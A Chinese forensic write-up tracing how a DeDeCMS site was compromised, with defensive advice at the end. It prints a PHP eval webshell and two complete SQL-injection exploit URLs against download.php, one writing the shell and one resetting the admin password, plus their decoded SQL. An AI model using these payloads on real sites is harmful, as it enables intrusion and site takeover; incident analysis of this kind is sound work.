《DeDeCMS網站中木馬分析追查一例》要點:
本文介紹了DeDeCMS網站中木馬分析追查一例,希望對您有用。如果有疑問,可以聯系我們。
相關主題:dedecms教程
維易PHP培訓學院每天發布《DeDeCMS網站中木馬分析追查一例》等實戰技能,PHP、MYSQL、LINUX、APP、JS,CSS全面培養人才。
客戶一個網站,木馬查殺過程發現被上傳了木馬文件,木馬文件畢竟是如何來的?通過針對日志分析找到了原因,整理成此文,希望對一些建站朋友能夠有用.
一、木馬掃描:使用D盾木馬查殺工具,很簡單,掃描結果如下:
收集信息:
查看了一下laobiao.php文件內容:
<?php $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx
很明顯一句話木馬;
2.查看laobiao.php文件生成時間:2016年10月23日 16::23:48
【注意】Windows主機:使用FTP客戶端只能查看到文件的最后修改時間,查看生成時間需要登錄服務器右鍵屬性查看.(如果使用虛擬主機向系統管理員尋求贊助)
二、追查木馬來源:
查看FTP日志:判斷是否由FTP暗碼泄露導致;
查看10月22、10月23、10月24日前后三天日志,未發現FTP賬號登錄記錄,排除FTP途徑;
IIS自帶的FTP日志路徑:C:\WINDOWS\system32\LogFiles\MSFTPSVC1
【建議】FTP暗碼一定要健壯,一般虛擬主機都提供FTP開關功能,原則:使用的時候開啟,不使用的時候關閉.很多人因為怕麻煩,暗碼設置的又簡單,容易被暴力破解而導致網站被侵入掛馬;
查看IIS日志:
首先查看10月23日IIS拜訪日志:
搜索:laobiao.php
2016-10-23 08:23:48 W3SVC220 192.168.1.5 POST /plus/laobiao.php - 80 - 14.111.122.77 Mozilla/5.0+(Windows+NT+6.1;+WOW64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/27.0.1453.93+Safari/537.36 200 0 0 119 361 125
這里可看到IP:14.111.122.77 在2016年10月23日 16:23:48【注意:日志記錄時間與實際時間相差8小時,因此加8后就是16:23:48】使用POST方式拜訪了/plus/laobiao.php頁面,拜訪狀態為200,說明此時文件已經存在,而且與文件生成時間相吻合;
根據拜訪IP進行搜索:
搜索14.111.122.77這個IP在10月23日當天所有拜訪記錄,然后將該部分記錄截取出來進行分析【日志記錄太多,截取出來減少干擾內容】:
從上圖可看出進行了多次嘗試,最終在第18、19行拜訪后生成了laobiao.php文件,第18行內容如下:
/plus/download.php?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44
實質上拜訪如上鏈接:http://www.xxx.com/plus/download.php?open=1&c=d&arrs1[]……arrs2[]=51&arrs2[]=32&arrs2[]=44后,會在dede_myad表中normbody字段插入數據,見下圖:
然后再拜訪第19行所示頁面鏈接:/plus/ad_js.php?aid=3&nocache=1就會在plus目錄生成【laobiao.php】文件;
【總結說明】至此木馬文件laobiao.php的來源已經搞清楚了,后證實該網站還可直接通過訪問特殊鏈接【更改管理員暗碼】危害也較大(后續有說明),在此過程中進行了大量測試,由于篇幅就不多寫了,過程中的技巧說明一下:
上邊提到的插入數據庫拜訪鏈接,經過大量測試發現后期執行均不成功,網絡上搜索了一下有人說如果執行成功過,后期就不會成功,可以通過變換aid【鏈接中倒數第三個arrs2[]的數值】來測試,測試更改后仍不成功;
【*_safe.txt文件】測試過程dedecms顯示如下:按道理說應該是打了補丁比較平安的,不清楚第一次為什么會成功.
Safe Alert: Request Error step 2!
此時會在data目錄中類似*_safe.txt文件中記錄拜訪的記錄,后續的拜訪均會記錄,查看之前的*_safe.txt文件內容,當時沒有上述鏈接的記錄,因此判斷可能第一次會成功,后續不會再成功.
記錄內容類似如下圖:
如上圖所示,記錄中會顯示出執行的sql語句,也是以此最終判斷木馬文件生成的辦法的.
內容如下:
/plus/download.php?open=1&c=d&arrs1[]=99&a=b&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=32&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=61&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=108&arrs2[]=97&arrs2[]=111&arrs2[]=98&arrs2[]=105&arrs2[]=97&arrs2[]=111&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=36&arrs2[]=70&arrs2[]=117&arrs2[]=99&arrs2[]=75&arrs2[]=83&arrs2[]=97&arrs2[]=102&arrs2[]=101&arrs2[]=100&arrs2[]=111&arrs2[]=103&arrs2[]=88&arrs2[]=61&arrs2[]=98&arrs2[]=97&arrs2[]=115&arrs2[]=101&arrs2[]=54&arrs2[]=52&arrs2[]=95&arrs2[]=100&arrs2[]=101&arrs2[]=99&arrs2[]=111&arrs2[]=100&arrs2[]=101&arrs2[]=59&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=61&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=59&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=106&arrs2[]=99&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=97&arrs2[]=120&arrs2[]=120&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=32&arrs2[]=61&arrs2[]=51&arrs2[]=32&arrs2[]=44|| INSERT INTO `dede_myad` SET normbody='<?php file_put_contents(''laobiao.php'',''<?php $FucKSafedogX=base64_decode;$jc=$_POST[x];eval($jc);?>axx'');?>' where aid =3 ,downloads`(`hash`,`id`,`downloads`) VALUES('******d98f00b****9800998ec******','0',1); ||unusual character
【更改管理員暗碼】雖然后續無法使用如上鏈接再次生成木馬文件,但是此網站同樣可以通過訪問特殊鏈接更改管理員暗碼:
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
雖然拜訪后仍然顯示:Safe Alert: Request Error step 2!而且*_safe.txt文件中也會記錄,如下:
/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35|| INSERT INTO `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #downloads`(`hash`,`id`,`downloads`) VALUES('****d98f00b204e9800998ecf84***','0',1);||comment detect
但是經過測試確實可以修改管理員暗碼為:spider admin
【md5暗碼說明】dedecms的暗碼20位字串,可通過后剪1位,前剪3位得到16位md5加密密文,例如:f297a57a5a743894a0e4 得到16位md5:7a57a5a743894a0e
【dedecms版本】該網站dedecms版本:
data\admin\ver.txt中查看:20160906
/include/common.inc.php文件中:$cfg_version = 'V57_UTF8_SP1';
由此可知該網站版本為:V57_SP1版本,更新日期為:20160906【也不作為唯一判斷依據,不必定是那個版本的.】
后來下載了最新版的dedecms版本:20160928 V57_UTF8_SP1,測試拜訪上述兩條鏈接均不成功.不顯示【Safe Alert: Request Error step 2!】而且也沒有*_safe.txt文件生成.因此建議升級為最新版.
【最后關于網站平安的一點建議】其實大家都知道dedecms之前爆出了很多的漏洞致使很多網站被侵入掛馬篡改等,雖然dedecms也不斷出補丁進行修復漏洞,為什么還會有很多網站中招呢?究其原因,最重要的無非【沒有平安意識】,其實最最重要的就是提高【平安意識】,最后給出幾點建議:
暗碼健壯:杜絕弱口令,防止暴力破解;通過FTP弱口令、后臺登錄弱口令侵入的不在少數.
勤管理,勤打補丁:要能及時發現問題,及時處理問題,遇到過很多網站被侵入后發現的時候已經是大半年之后了,有些日志已經都刪除掉了,沒方法追查具體來源;一旦網站被掛馬一定要明白大多數所謂的【掛馬】是通過【木馬】文件進行的一個動作,也就是通過【木馬】文件進行篡改網站文件來【掛馬】的.很多人在網站被篡改后只是將頁面修復,刪除插入的惡意鏈接之類,但是并沒有清除木馬文件,而導致【掛馬】頻繁發生.因此一定要清理掛馬代碼,清理木馬后門文件,兩個步驟走.當然,最好是能修復漏洞杜絕后患.
具體到dedecms建議更改后臺登錄目錄名稱、打上最新補丁,參照官方提供的一些平安措施進行處理.
平安設置一個重要原則,【可寫目錄不可執行腳本,可執行腳本的目錄不給寫權限】,可根據程序具體情況設置.
千萬不要怕麻煩,勤備份,有備能力無患.